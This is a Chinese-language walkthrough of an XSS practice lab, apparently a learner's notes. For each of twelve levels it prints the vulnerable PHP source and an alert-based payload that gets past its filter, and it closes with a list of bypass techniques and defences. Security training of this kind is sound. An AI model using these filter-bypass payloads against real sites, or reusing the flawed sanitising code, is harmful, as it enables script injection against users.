1.第一題沒啥攔截和編碼,直接顯示,源代碼如下:

ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
payload:<script>alert(1)</script>

p1

p2

2.第二題的源代碼如下:

$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
payload:"><script>alert(1)</script>"這是直接把前面標簽閉合的意思

可以看到進行html特殊字符的編碼,經過測試以后發現,瀏覽器進行所謂的URL編碼,然后發送到服務器端解碼以后進行HTML實體編碼,對',",<,>,&符號進行編碼,注意單引號編碼不是默認的,然后返回前端被瀏覽器解析,還原成xss payload彈窗,所以這是html編碼只能防范存儲型漏洞的意思?

p3

先看下去
3.第三題源碼如下:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
payload: 123456' onfocus=alert(document.domain) autofocus//查了一下,網上說這個autofocus是當頁面加載時自動獲得焦點,然后onfocus是指定獲得焦點時應該觸發的事件.

顯然是做了代替,去掉了所有的大于小于號,那就只能用事件觸發了.
4.第四道同三
5.源代碼如下:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
payload:1"><iframe src=javascript:alert(1)>

經測試,這道題目轉換了script和on標簽,那就嵌套或者偽協議

p4

然后發現嵌套不行,因為這個是轉換來著.....不是直接凈化掉
然后就是直接上偽協議了.

p5

6.源代碼如下:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
payload:1"><a hRef=javascript:alert(1)>xss</a>>

這道題試了挺久,結果發現啥方法都不行,然后看了下答案,發現,我去,居然沒做大小寫轉換...,直接大小寫繞過就可以了.

p6

7.源代碼如下：

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
payload:1"><a hrhrefef=javasscriptcript:alert(1)>xss</a>>

主要嘗試了以后發現script標簽和href標簽都不見，所以考慮嵌套的手段來繞過防護，最后使用<a>標簽來完成

p7

8.源代碼如下：

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level7.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
payload:java&#115;cript:alert(1)

經過自己一波嘗試，發現全部轉小寫了，然后是直接替換了，on,href,script等關鍵詞語都被替換了，這種嵌套，偽協議，大小寫全都失效了，只能看一波writeup,結果發現他是用編碼繞過的，可以可以。。。。此處進行了html編碼來繞過。

p8

9.源代碼如下：

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的鏈接不合法？有沒有！">友情鏈接</a></center>';}
else{echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';}
?>
payload:javascrip&#116;:alert(1)//http://xxx.com

看源代碼可知道其實它里面會檢查有沒有http://在字符串里面，如果沒有的話就直接跳轉不成功，然后凈化是先小寫，然后替換，所以還是采用Unicode編碼來繞，接著直接后面帶上http://,但是這里要使用//注釋符，注釋掉后面的http://,不然會不成功。

p9

10.源代碼如下：

$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
payload:123456" onmouseover=alert(document.domain) type="text

第十題主要是要讓挑戰者學會看源代碼，這次是看不到，所以你只能看到輸入點，輸出點是看不到的，需要手動把他找出來，這就需要找到hidden,在前端去掉之后把輸出點找出來，這里的輸出點是hidden,經實測t_link和t_history不是輸出點，所以不能用<,>然后就只能用事件輸出了，這里用onmmouseover來觸發。

p10.jpg

11.源代碼如下所示：

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
payload:1" onmouseover=alert(1)

這道題目和前面差不多，直接把hidden menu找出來然后直接上事件觸發就可以了。而其中這個hidden的值就是包頭里面的referer字段，所以burp抓包也是一樣的。

p11

12.這道題目也是隱藏鍵值，然后改了user-agent的值插入xss代碼.

<input name="t_ua" value="Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3" type="hidden">
修改為：
<input name="t_ua" value="1" onmouseover=alert(1)>

p12

p13

p14

p15

p16

整理一下xss繞過防護的思路：
1.大小寫繞過，如果過濾了一些關鍵詞，比如script等，直接大小寫試試，對應的解決方案就是直接將輸入轉小寫，解決。
2.偽協議，即利用一些標簽，如img, iframe,a href等等，eg:<iframe src=javascript:alert(1)>,對應防御偽協議可以直接過濾掉所謂的一些偽協議標簽就可以了。
3.嵌套，用于和大小寫繞過一樣的防護情況。。。
4.事件觸發，這樣可以處理一些過濾<,>等情況，例如onmouseover，onfocus等，過濾on可解決。
5.善于利用注釋符號，注釋一些信息。
6.編碼繞過，例如stringformcharcode,html編碼繞過等等。
7.上傳圖片含有xss代碼的exif信息